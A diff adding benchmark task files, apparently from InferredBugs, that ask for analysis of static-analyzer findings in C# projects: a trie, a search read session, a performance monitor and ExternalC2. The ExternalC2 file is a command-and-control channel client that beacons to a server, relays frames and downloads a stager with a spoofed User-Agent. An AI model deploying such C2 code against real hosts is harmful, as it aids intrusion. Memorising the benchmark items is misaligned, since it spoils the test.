+        public void Can_scan_fuzzy_from_disk()
+        {
+            const string fileName = "1.bt";
+
+            var tree = new LcrsTrie('\0', false);
+            tree.Add("baby");
+            tree.Add("bad");
+            tree.Add("bank");
+            tree.Add("box");
+            tree.Add("dad");
+            tree.Add("daddy");
+            tree.Add("dance");
+            tree.Add("dancing");
+
+            tree.Serialize(fileName);
+
+            using (var fs = File.OpenRead(fileName))
+            using (var sr = new StreamReader(fs, Encoding.Unicode))
+            using (var scanner = new LcrsTreeStreamReader(sr))
+            {
+                var near = scanner.Near("bazy", 1);
+                Assert.AreEqual(1, near.Count);
+                Assert.IsTrue(near.Contains("baby"));
+            }
+
+            using (var fs = File.OpenRead(fileName))
+            using (var sr = new StreamReader(fs, Encoding.Unicode))
+            using (var scanner = new LcrsTreeStreamReader(sr))
+            {
+                var near = scanner.Near("bazy", 2);
+                Assert.AreEqual(3, near.Count);
+                Assert.IsTrue(near.Contains("baby"));
+                Assert.IsTrue(near.Contains("bank"));
+                Assert.IsTrue(near.Contains("bad"));
+            }
+        }
+
+        [Test]
+        public void Can_scan_prefix_from_disk()
+        {
+            const string fileName = "1.bt";
+
+            var tree = new LcrsTrie('\0', false);
+            tree.Add("baby");
+            tree.Add("bad");
+            tree.Add("bank");
+            tree.Add("box");
+            tree.Add("dad");
+            tree.Add("daddy");
+            tree.Add("dance");
+            tree.Add("dancing");
+
+            tree.Serialize(fileName);
+
+            using (var fs = File.OpenRead(fileName))
+            using (var sr = new StreamReader(fs, Encoding.Unicode))
+            using (var scanner = new LcrsTreeStreamReader(sr))
+            {
+                var startsWith = scanner.StartsWith("ba");
+                Assert.AreEqual(3, startsWith.Count);
+                Assert.IsTrue(startsWith.Contains("baby"));
+                Assert.IsTrue(startsWith.Contains("bad"));
+                Assert.IsTrue(startsWith.Contains("bank"));
+            }
+
+            using (var fs = File.OpenRead(fileName))
+            using (var sr = new StreamReader(fs, Encoding.Unicode))
+            using (var scanner = new LcrsTreeStreamReader(sr))
+            {
+                Assert.IsTrue(scanner.HasWord("baby"));
+            }
+        }
+
+        [Test]
+        public void Can_scan_exact_from_disk()
+        {
+            const string fileName = "0.bt";
+
+            var tree = new LcrsTrie('\0', false);
+            tree.Add("baby");
+            tree.Add("bad");
+            tree.Add("bank");
+            tree.Add("box");
+            tree.Add("dad");
+            tree.Add("daddy");
+            tree.Add("dance");
+            tree.Add("dancing");
+
+            tree.Serialize(fileName);
+
+            using (var fs = File.OpenRead(fileName))
+            using (var sr = new StreamReader(fs, Encoding.Unicode))
+            using (var scanner = new LcrsTreeStreamReader(sr))
+            {
+                Assert.IsFalse(scanner.HasWord("bab"));
+            }
+
+            using (var fs = File.OpenRead(fileName))
+            using (var sr = new StreamReader(fs, Encoding.Unicode))
+            using (var scanner = new LcrsTreeStreamReader(sr))
+            {
+                Assert.IsTrue(scanner.HasWord("baby"));
+            }
+        }
+
+        [Test]
+        public void Can_serialize()
+        {
+            var tree = new LcrsTrie('\0', false);
+            tree.Add("baby");
+            tree.Add("bad");
+            tree.Add("bank");
+            tree.Add("box");
+            tree.Add("dad");
+            tree.Add("daddy");
+            tree.Add("dance");
+            tree.Add("dancing");
+
+            tree.Serialize("0.bt");
+            var acctual = File.ReadAllText("0.bt", Encoding.Unicode);
+
+            const string expected = "d1100\r\na0101\r\nn1102\r\nc0103\r\ni1104\r\nn0105\r\ng0016\r\ne0014\r\nd0112\r\nd0103\r\ny0014\r\nb0100\r\no1101\r\nx0012\r\na0101\r\nn1102\r\nk0013\r\nd1012\r\nb0102\r\ny0013\r\n";
+
+            Assert.AreEqual(expected, acctual);
+        }
+
+        [Test]
+        public void Can_find_near()
+        {
+            var tree = new LcrsTrie('\0', false);
+            var near = tree.Near("ba", 1);
+
+            Assert.That(near, Is.Empty);
+
+            tree.Add("bad");
+            near = tree.Near("ba", 1);
+
+            Assert.That(near.Count, Is.EqualTo(1));
+            Assert.IsTrue(near.Contains("bad"));
+
+            tree.Add("baby");
+            near = tree.Near("ba", 1);
+
+            Assert.That(near.Count, Is.EqualTo(1));
+            Assert.IsTrue(near.Contains("bad"));
+
+            tree.Add("b");
+            near = tree.Near("ba", 1);
+
+            Assert.That(near.Count, Is.EqualTo(2));
+            Assert.IsTrue(near.Contains("bad"));
+            Assert.IsTrue(near.Contains("b"));
+
+            near = tree.Near("ba", 2);
+
+            Assert.That(near.Count, Is.EqualTo(3));
+            Assert.IsTrue(near.Contains("b"));
+            Assert.IsTrue(near.Contains("bad"));
+            Assert.IsTrue(near.Contains("baby"));
+
+            near = tree.Near("ba", 0);
+
+            Assert.That(near.Count, Is.EqualTo(0));
+
+            tree.Add("bananas");
+            near = tree.Near("ba", 6);
+
+            Assert.That(near.Count, Is.EqualTo(4));
+            Assert.IsTrue(near.Contains("b"));
+            Assert.IsTrue(near.Contains("bad"));
+            Assert.IsTrue(near.Contains("baby"));
+            Assert.IsTrue(near.Contains("bananas"));
+
+            near = tree.Near("bazy", 1);
+
+            Assert.That(near.Count, Is.EqualTo(1));
+            Assert.IsTrue(near.Contains("baby"));
+
+            tree.Add("bank");
+            near = tree.Near("bazy", 3);
+
+            Assert.AreEqual(4, near.Count);
+            Assert.IsTrue(near.Contains("baby"));
+            Assert.IsTrue(near.Contains("bank"));
+            Assert.IsTrue(near.Contains("bad"));
+            Assert.IsTrue(near.Contains("b"));
+        }
+
+        [Test]
+        public void Can_find_suffixes()
+        {
+            var tree = new LcrsTrie('\0', false);
+
+            var prefixed = tree.StartsWith("ba");
+
+            Assert.That(prefixed, Is.Empty);
+
+            tree.Add("bad");
+
+            prefixed = tree.StartsWith("ba");
+
+            Assert.That(prefixed.Count, Is.EqualTo(1));
+            Assert.IsTrue(prefixed.Contains("bad"));
+
+            tree.Add("baby");
+
+            prefixed = tree.StartsWith("ba");
+
+            Assert.That(prefixed.Count, Is.EqualTo(2));
+            Assert.IsTrue(prefixed.Contains("bad"));
+            Assert.IsTrue(prefixed.Contains("baby"));
+        }
+
+        [Test]
+        public void Can_find_exact()
+        {
+            var tree = new LcrsTrie('\0', false);
+
+            Assert.False(tree.HasWord("xxx"));
+
+            tree.Add("xxx");
+
+            Assert.True(tree.HasWord("xxx"));
+            Assert.False(tree.HasWord("baby"));
+            Assert.False(tree.HasWord("dad"));
+
+            tree.Add("baby");
+
+            Assert.True(tree.HasWord("xxx"));
+            Assert.True(tree.HasWord("baby"));
+            Assert.False(tree.HasWord("dad"));
+
+            tree.Add("dad");
+
+            Assert.True(tree.HasWord("xxx"));
+            Assert.True(tree.HasWord("baby"));
+            Assert.True(tree.HasWord("dad"));
+        }
+
+        [Test]
+        public void Can_build_one_leg()
+        {
+            var tree = new LcrsTrie('\0', false);
+            
+            tree.Add("baby");
+
+            Assert.That(tree.LeftChild.Value, Is.EqualTo('b'));
+            Assert.That(tree.LeftChild.LeftChild.Value, Is.EqualTo('a'));
+            Assert.That(tree.LeftChild.LeftChild.LeftChild.Value, Is.EqualTo('b'));
+            Assert.That(tree.LeftChild.LeftChild.LeftChild.LeftChild.Value, Is.EqualTo('y'));
+
+            Assert.True(tree.HasWord("baby"));
+        }
+
+        [Test]
+        public void Can_build_two_legs()
+        {
+            var root = new LcrsTrie('\0', false);
+
+            root.Add("baby");
+            root.Add("dad");
+
+            Assert.That(root.LeftChild.Value, Is.EqualTo('d'));
+            Assert.That(root.LeftChild.LeftChild.Value, Is.EqualTo('a'));
+            Assert.That(root.LeftChild.LeftChild.LeftChild.Value, Is.EqualTo('d'));
+
+            Assert.That(root.LeftChild.RightSibling.Value, Is.EqualTo('b'));
+            Assert.That(root.LeftChild.RightSibling.LeftChild.Value, Is.EqualTo('a'));
+            Assert.That(root.LeftChild.RightSibling.LeftChild.LeftChild.Value, Is.EqualTo('b'));
+            Assert.That(root.LeftChild.RightSibling.LeftChild.LeftChild.LeftChild.Value, Is.EqualTo('y'));
+
+            Assert.True(root.HasWord("baby"));
+            Assert.True(root.HasWord("dad"));
+        }
+
+        [Test]
+        public void Can_append()
+        {
+            var root = new LcrsTrie('\0', false);
+
+            root.Add("baby");
+            root.Add("bad");
+
+            Assert.That(root.LeftChild.Value, Is.EqualTo('b'));
+            Assert.That(root.LeftChild.LeftChild.Value, Is.EqualTo('a'));
+            Assert.That(root.LeftChild.LeftChild.LeftChild.Value, Is.EqualTo('d'));
+
+            Assert.That(root.LeftChild.LeftChild.LeftChild.RightSibling.Value, Is.EqualTo('b'));
+            Assert.That(root.LeftChild.LeftChild.LeftChild.RightSibling.LeftChild.Value, Is.EqualTo('y'));
+
+            Assert.True(root.HasWord("baby"));
+            Assert.True(root.HasWord("bad"));
+        }
+    }
+}
+```
+
+### Bug Type:
+PULSE_UNINITIALIZED_VALUE
+
+### Qualifier:
+`node` is read without initialization during the call to `LcrsTrie.Add(...)`.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void LcrsTrieTests.Can_serialize()
+
+### File:
+Tests/LcrsTrieTests.cs
+
+### Key:
+LcrsTrieTests.cs|Can_serialize|PULSE_UNINITIALIZED_VALUE
+
+### Hash:
+97daf74d74f0894d686dfd4b2a6acf53
+
+### Bug Type Hum:
+Uninitialized Value
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2295/instruction.md b/inferredbugs-2295/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..076b0bc8c538310011a17d454f2c0d49bb9e0dda
--- /dev/null
+++ b/inferredbugs-2295/instruction.md
@@ -0,0 +1,451 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** resin
+**Bug ID:** 49
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Microsoft.Extensions.Logging;
+using Sir.Document;
+using Sir.VectorSpace;
+using System;
+using System.Collections.Concurrent;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.IO;
+using System.Linq;
+using System.Threading.Tasks;
+
+namespace Sir.Search
+{
+    /// <summary>
+    /// Read session targeting a single collection.
+    /// </summary>
+    public class ReadSession : IDisposable, IReadSession
+    {
+        private readonly SessionFactory _sessionFactory;
+        private readonly IConfigurationProvider _config;
+        private readonly IStringModel _model;
+        private readonly IPostingsReader _postingsReader;
+        private readonly ConcurrentDictionary<ulong, DocumentReader> _streamReaders;
+        private readonly ConcurrentDictionary<ulong, ConcurrentDictionary<long, INodeReader>> _nodeReaders;
+        private readonly ILogger<ReadSession> _logger;
+
+        public ReadSession(
+            SessionFactory sessionFactory,
+            IConfigurationProvider config,
+            IStringModel model,
+            IPostingsReader postingsReader,
+            ILogger<ReadSession> logger)
+        {
+            _sessionFactory = sessionFactory;
+            _config = config;
+            _model = model;
+            _streamReaders = new ConcurrentDictionary<ulong, DocumentReader>();
+            _postingsReader = postingsReader;
+            _nodeReaders = new ConcurrentDictionary<ulong, ConcurrentDictionary<long, INodeReader>>();
+            _logger = logger;
+        }
+
+        public void Dispose()
+        {
+            foreach (var reader in _streamReaders.Values)
+            {
+                reader.Dispose();
+            }
+
+            foreach (var collection in _nodeReaders.Values)
+                foreach (var reader in collection.Values)
+                    reader.Dispose();
+
+            _postingsReader.Dispose();
+        }
+
+        public ReadResult Read(IQuery query, int skip, int take)
+        {
+            if (query is Query q)
+                return Read(q, skip, take);
+
+            return Read((Join)query, skip, take);
+        }
+
+        private ReadResult Read(Query query, int skip, int take)
+        {
+            if (query is null)
+            {
+                throw new ArgumentNullException(nameof(query));
+            }
+
+            var result = MapReduceSort(query, skip, take);
+
+            if (result != null)
+            {
+                var scoreDivider = query.GetDivider();
+                var docs = ReadDocs(result.SortedDocuments, scoreDivider);
+
+                return new ReadResult { Query = query, Total = result.Total, Docs = docs };
+            }
+
+            return new ReadResult { Query = query, Total = 0, Docs = new IDictionary<string, object>[0] };
+        }
+
+        private ReadResult Read(Join join, int skip, int take)
+        {
+            if (join is null)
+            {
+                throw new ArgumentNullException(nameof(join));
+            }
+
+            var result = MapReduceSort(join.Query, skip, take);
+
+            if (result != null)
+            {
+                var scoreDivider = join.Query.GetDivider();
+                var docs = ReadDocs(result.SortedDocuments, scoreDivider, join.PrimaryKey);
+                var joinCollectionId = join.Collection.ToHash();
+                var primaryKeyId = join.PrimaryKey.ToHash();
+                var keyId = _sessionFactory.GetKeyId(joinCollectionId, primaryKeyId);
+                Query lookupQuery = null;
+                Query cursor = null;
+                var timer = Stopwatch.StartNew();
+
+                foreach (var doc in docs)
+                {
+                    var docTerms = new List<Term>();
+                    var tokens = _model.Tokenize(((string)doc.Key).ToCharArray());
+
+                    foreach (var token in tokens)
+                    {
+                        docTerms.Add(new Term(
+                            joinCollectionId,
+                            keyId,
+                            join.PrimaryKey,
+                            token,
+                            and: true,
+                            or: false,
+                            not: false));
+                    }
+
+                    var docQuery = new Query(docTerms, and: false, or: true, not: false);
+
+                    if (lookupQuery == null)
+                    {
+                        cursor = lookupQuery = docQuery;
+                    }
+                    else
+                    {
+                        cursor.Or = docQuery;
+                        cursor = docQuery;
+                    }
+                }
+
+                _logger.LogInformation($"building lookup query took {timer.Elapsed}");
+
+                var secondResult = Read(lookupQuery, 0, docs.Count);
+
+                timer.Restart();
+
+                var merged = Merge(docs, secondResult.Docs, join.PrimaryKey);
+
+                _logger.LogInformation($"merging took {timer.Elapsed}");
+
+                var sorted = merged.OrderByDescending(x => (double)x["___score"]);
+
+                return new ReadResult { Query = join.Query, Total = merged.Count, Docs = sorted };
+            }
+
+            return new ReadResult { Query = join.Query, Total = 0, Docs = new IDictionary<string, object>[0] };
+        }
+
+        private ICollection<IDictionary<string, object>> Merge(
+            IDictionary<object,IDictionary<string, object>> first,
+            IEnumerable<IDictionary<string, object>> other,
+            string primaryKey)
+        {
+            foreach (var record in other)
+            {
+                IDictionary<string, object> doc;
+                string key = (string)record[primaryKey];
+
+                if (first.TryGetValue(key, out doc))
+                {
+                    foreach (var field in record)
+                    {
+                        if (!doc.ContainsKey(field.Key))
+                        {
+                            doc[field.Key] = field.Value;
+                        }
+                    }
+                }
+            }
+
+            return first.Values;
+        }
+
+        public void EnsureIsValid(Query query, long docId)
+        {
+            foreach (var term in query.Terms)
+            {
+                var indexReader = GetOrTryCreateIndexReader(term.CollectionId, term.KeyId);
+
+                if (indexReader != null)
+                {
+                    var hit = indexReader.ClosestTerm(term.Vector, _model);
+
+                    if (hit == null || hit.Score < _model.IdenticalAngle)
+                    {
+                        throw new DataMisalignedException($"\"{term}\" not found.");
+                    }
+
+                    var docIds = _postingsReader
+                        .ReadWithPredefinedScore(term.CollectionId, hit.Node.PostingsOffsets, _model.IdenticalAngle);
+
+                    if (!docIds.ContainsKey((term.CollectionId, docId)))
+                    {
+                        throw new DataMisalignedException(
+                            $"document {docId} not found in postings list for term \"{term}\".");
+                    }
+                }
+            }
+        }
+
+        private ScoredResult MapReduceSort(Query query, int skip, int take)
+        {
+            var timer = Stopwatch.StartNew();
+
+            Map(query);
+
+            _logger.LogInformation($"mapping took {timer.Elapsed}");
+
+            timer.Restart();
+
+            var scoredResult = new Dictionary<(ulong, long), double>();
+
+            _postingsReader.Reduce(query, scoredResult);
+
+            _logger.LogInformation("reducing took {0}", timer.Elapsed);
+
+            timer.Restart();
+
+            var sorted = Sort(scoredResult, skip, take);
+
+            _logger.LogInformation("sorting took {0}", timer.Elapsed);
+
+            return sorted;
+        }
+
+        /// <summary>
+        /// Map query terms to posting list locations.
+        /// </summary>
+        private void Map(Query query)
+        {
+            if (query == null)
+                return;
+
+            //Parallel.ForEach(query.AllTerms(), term =>
+            foreach (var term in query.Terms)
+            {
+                var indexReader = GetOrTryCreateIndexReader(term.CollectionId, term.KeyId);
+
+                if (indexReader != null)
+                {
+                    var hit = indexReader.ClosestTerm(term.Vector, _model);
+
+                    if (hit != null)
+                    {
+                        term.Score = hit.Score;
+                        term.PostingsOffsets = hit.Node.PostingsOffsets;
+                    }
+                }
+            }//);
+        }
+
+        private static ScoredResult Sort(IDictionary<(ulong, long), double> documents, int skip, int take)
+        {
+            var sortedByScore = new List<KeyValuePair<(ulong, long), double>>(documents);
+
+            sortedByScore.Sort(
+                delegate (KeyValuePair<(ulong, long), double> pair1,
+                KeyValuePair<(ulong, long), double> pair2)
+                {
+                    return pair2.Value.CompareTo(pair1.Value);
+                }
+            );
+
+            var index = skip > 0 ? skip : 0;
+            int count;
+
+            if (take == 0)
+                count = sortedByScore.Count - (index);
+            else
+                count = Math.Min(sortedByScore.Count - (index), take);
+
+            return new ScoredResult { SortedDocuments = sortedByScore.GetRange(index, count), Total = sortedByScore.Count };
+        }
+
+        public INodeReader CreateIndexReader(ulong collectionId, long keyId)
+        {
+            var ixFileName = Path.Combine(_sessionFactory.Dir, string.Format("{0}.{1}.ix", collectionId, keyId));
+
+            if (!File.Exists(ixFileName))
+                return null;
+
+            return new NodeReader(
+                    collectionId,
+                    keyId,
+                    _sessionFactory,
+                    _sessionFactory.CreateReadStream(Path.Combine(_sessionFactory.Dir, $"{collectionId}.vec")),
+                    _sessionFactory.CreateReadStream(ixFileName));
+        }
+
+        public INodeReader GetOrTryCreateIndexReader(ulong collectionId, long keyId)
+        {
+            var ixFileName = Path.Combine(_sessionFactory.Dir, string.Format("{0}.{1}.ix", collectionId, keyId));
+
+            if (!File.Exists(ixFileName))
+                return null;
+
+            var collectionReaders = _nodeReaders.GetOrAdd(collectionId, new ConcurrentDictionary<long, INodeReader>());
+
+            return collectionReaders.GetOrAdd(keyId, new NodeReader(
+                    collectionId,
+                    keyId,
+                    _sessionFactory,
+                    _sessionFactory.CreateReadStream(Path.Combine(_sessionFactory.Dir, $"{collectionId}.vec")),
+                    _sessionFactory.CreateReadStream(ixFileName)));
+        }
+
+        public DocumentReader GetOrCreateDocumentReader(ulong collectionId)
+        {
+            return _streamReaders.GetOrAdd(
+                collectionId,
+                new DocumentReader(collectionId, _sessionFactory)
+                );
+        }
+
+        public IList<IDictionary<string, object>> ReadDocs(
+            IEnumerable<KeyValuePair<(ulong collectionId, long docId), double>> docIds,
+            int scoreDivider)
+        {
+            var result = new List<IDictionary<string, object>>();
+            var timer = Stopwatch.StartNew();
+
+            foreach (var dkvp in docIds)
+            {
+                var streamReader = GetOrCreateDocumentReader(dkvp.Key.collectionId);
+                var docInfo = streamReader.GetDocumentAddress(dkvp.Key.docId);
+                var docMap = streamReader.GetDocumentMap(docInfo.offset, docInfo.length);
+                var doc = new Dictionary<string, object>();
+
+                for (int i = 0; i < docMap.Count; i++)
+                {
+                    var kvp = docMap[i];
+                    var kInfo = streamReader.GetAddressOfKey(kvp.keyId);
+                    var vInfo = streamReader.GetAddressOfValue(kvp.valId);
+                    var key = streamReader.GetKey(kInfo.offset, kInfo.len, kInfo.dataType);
+                    var val = streamReader.GetValue(vInfo.offset, vInfo.len, vInfo.dataType);
+
+                    doc[key.ToString()] = val;
+                }
+
+                doc["___docid"] = dkvp.Key.docId;
+                doc["___score"] = (dkvp.Value / scoreDivider) * 100;
+
+                result.Add(doc);
+            }
+
+            _logger.LogInformation($"reading documents took {timer.Elapsed}");
+
+            return result;
+        }
+
+        public IDictionary<object,IDictionary<string, object>> ReadDocs(
+            IEnumerable<KeyValuePair<(ulong collectionId, long docId), double>> docIds,
+            int scoreDivider,
+            string primaryKey)
+        {
+            var timer = Stopwatch.StartNew();
+            var result = new Dictionary<object, IDictionary<string, object>>();
+
+            foreach (var dkvp in docIds)
+            {
+                var streamReader = GetOrCreateDocumentReader(dkvp.Key.collectionId);
+                var docInfo = streamReader.GetDocumentAddress(dkvp.Key.docId);
+                var docMap = streamReader.GetDocumentMap(docInfo.offset, docInfo.length);
+                var doc = new Dictionary<string, object>();
+
+                for (int i = 0; i < docMap.Count; i++)
+                {
+                    var kvp = docMap[i];
+                    var kInfo = streamReader.GetAddressOfKey(kvp.keyId);
+                    var vInfo = streamReader.GetAddressOfValue(kvp.valId);
+                    var key = streamReader.GetKey(kInfo.offset, kInfo.len, kInfo.dataType);
+                    var val = streamReader.GetValue(vInfo.offset, vInfo.len, vInfo.dataType);
+
+                    doc[key.ToString()] = val;
+                }
+
+                doc["___docid"] = dkvp.Key.docId;
+                doc["___score"] = (dkvp.Value / scoreDivider) * 100;
+
+                result.Add(doc[primaryKey], doc);
+            }
+
+            _logger.LogInformation($"reading documents took {timer.Elapsed}");
+
+            return result;
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (returned from System.IO.Stream Sir.Search.SessionFactory::CreateReadStream(System.String,System.Int32,System.IO.FileOptions) at Line 286) of type System.IO.FileStream, Leaked resource (returned from System.IO.Stream Sir.Search.SessionFactory::CreateReadStream(System.String,System.Int32,System.IO.FileOptions) at Line 286) of type System.IO.FileStream in method "INodeReader ReadSession.CreateIndexReader(UInt64,Int64)".
+
+### Severity:
+ERROR
+
+### Procedure:
+INodeReader ReadSession.CreateIndexReader(UInt64,Int64)
+
+### File:
+src/Sir.Search/Session/ReadSession.cs
+
+### Key:
+ReadSession.cs|CreateIndexReader|DOTNET_RESOURCE_LEAK
+
+### Hash:
+f63b51a9ae473a19330e707c3a52d0d1
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2349/instruction.md b/inferredbugs-2349/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..47e1bca59c5d820b00f3a23bbb4a905c8382440d
--- /dev/null
+++ b/inferredbugs-2349/instruction.md
@@ -0,0 +1,217 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** ExternalC2
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Linq;
+using System.Net.Http;
+using System.Threading;
+using ExternalC2.Interfaces;
+
+namespace ExternalC2.Channels
+{
+    /// <summary>
+    ///     C2 Channel used to connect to the ExternalC2Web API server
+    /// </summary>
+    public class WebChannel : IC2Channel
+    {
+        private readonly HttpClient _client;
+        private readonly Uri _uri;
+
+        /// <summary>
+        ///     Create a web channel with the url
+        /// </summary>
+        /// <param name="url"></param>
+        public WebChannel(string url)
+        {
+            _uri = new Uri(url);
+            _client = new HttpClient {BaseAddress = _uri};
+        }
+
+        /// <summary>
+        ///     The unique beacon identifier
+        /// </summary>
+        public Guid BeaconId { get; private set; }
+
+        /// <summary>
+        ///     The API endpoint path
+        /// </summary>
+        public string UrlPath { get; private set; }
+
+        /// <summary>
+        ///     Determines if the channel is connected
+        /// </summary>
+        public bool Connected { get; private set; }
+
+        /// <summary>
+        ///     Connects to the WebSocket server
+        /// </summary>
+        /// <returns>If connection was successful</returns>
+        public bool Connect()
+        {
+            // TODO: A more elaborate connect and configuration procedure
+            UrlPath = _uri.AbsolutePath;
+
+            var connectReq = new HttpRequestMessage(HttpMethod.Options, UrlPath);
+            var connectResp = _client.SendAsync(connectReq).Result;
+
+            // Example of configuring the client
+            var idHeader = connectResp.Headers.GetValues("X-Id-Header").FirstOrDefault();
+            var beaconId = connectResp.Headers.GetValues("X-Identifier").FirstOrDefault();
+
+            if (beaconId != null)
+            {
+                BeaconId = Guid.Parse(beaconId);
+                _client.DefaultRequestHeaders.Add(idHeader, BeaconId.ToString());
+                Connected = true;
+            }
+            else
+            {
+                Connected = false;
+            }
+
+            return Connected;
+        }
+
+        /// <summary>
+        ///     Disposes the HttpClient
+        /// </summary>
+        public void Close()
+        {
+            _client.Dispose();
+        }
+
+        /// <summary>
+        ///     Disposes the HttpClient
+        /// </summary>
+        public void Dispose()
+        {
+            _client.Dispose();
+        }
+
+        /// <summary>
+        ///     Requests a frame from the web API
+        /// </summary>
+        /// <returns>The frame buffer</returns>
+        public byte[] ReadFrame()
+        {
+            string b64Str;
+            while (true) // TODO: Add failure condition
+            {
+                b64Str = _client.GetStringAsync(UrlPath).Result;
+                if (!string.IsNullOrEmpty(b64Str)) break;
+                Thread.Sleep(1000);
+            }
+
+            return Convert.FromBase64String(b64Str);
+        }
+
+        /// <summary>
+        ///     Send a frame to the web API
+        /// </summary>
+        /// <param name="buffer"></param>
+        public void SendFrame(byte[] buffer)
+        {
+            var body = new StringContent(Convert.ToBase64String(buffer));
+            _client.PutAsync(UrlPath, body).Wait();
+        }
+
+        /// <summary>
+        ///     Read a frame and send it to the connected channel
+        /// </summary>
+        /// <param name="c2"></param>
+        /// <returns></returns>
+        public bool ReadAndSendTo(IC2Channel c2)
+        {
+            var buffer = ReadFrame();
+            if (buffer.Length <= 0) return false;
+            c2.SendFrame(buffer);
+
+            return true;
+        }
+
+        /// <summary>
+        ///     Requests a stager using the BeaconId of the channel
+        /// </summary>
+        /// <param name="is64Bit"></param>
+        /// <param name="taskWaitTime"></param>
+        /// <returns>The stager bytes</returns>
+        public byte[] GetStager(bool is64Bit, int taskWaitTime = 100)
+        {
+            return GetStager(BeaconId.ToString(), is64Bit, taskWaitTime);
+        }
+
+        /// <summary>
+        ///     Requests a stager using the pipeName parameter
+        /// </summary>
+        /// <param name="pipeName"></param>
+        /// <param name="is64Bit"></param>
+        /// <param name="taskWaitTime"></param>
+        /// <returns>The stager bytes</returns>
+        public byte[] GetStager(string pipeName, bool is64Bit, int taskWaitTime = 100)
+        {
+            var bits = is64Bit ? "x64" : "x86";
+            _client.DefaultRequestHeaders.Add("User-Agent",
+                $"Mozilla/5.0 (Windows NT 10.0; {bits}; Trident/7.0; rv:11.0) like Gecko");
+
+            var resp = _client.PostAsync(UrlPath, null).Result;
+            var stager = resp.Content.ReadAsStringAsync().Result;
+
+            return Convert.FromBase64String(stager);
+        }
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource body of type System.Net.Http.StringContent in method "Void WebChannel.SendFrame(Byte[])".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void WebChannel.SendFrame(Byte[])
+
+### File:
+ExternalC2/Channels/WebChannel.cs
+
+### Key:
+WebChannel.cs|SendFrame|DOTNET_RESOURCE_LEAK
+
+### Hash:
+b554f64059cc45e41070405b14cfe01e
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2376/instruction.md b/inferredbugs-2376/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..d38f296ac472bba550bd6e97ac9b2f56b245d8fe
--- /dev/null
+++ b/inferredbugs-2376/instruction.md
@@ -0,0 +1,78 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** PerformanceMonitor
+**Bug ID:** 6
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using DataTransfer;
+
+namespace MonitorTest
+{
+    class Program
+    {
+        static void Main(string[] args)
+        {
+            Monitor monitor = new Monitor("App");
+            monitor.Record();
+            CPUMemTest.Test();
+            //GCTest.Test();
+            //ExceptionTest.Test();
+
+            ContentionTest.Test();
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource monitor.DataTransfer.Monitor.client of type System.Net.Http.HttpClient in method "Void Program.Main(String[])".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void Program.Main(String[])
+
+### File:
+test/Measurement/MonitorTest/Program.cs
+
+### Key:
+Program.cs|Main|DOTNET_RESOURCE_LEAK
+
+### Hash:
+f67affbf33733b9597bb1e483459f5a3
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
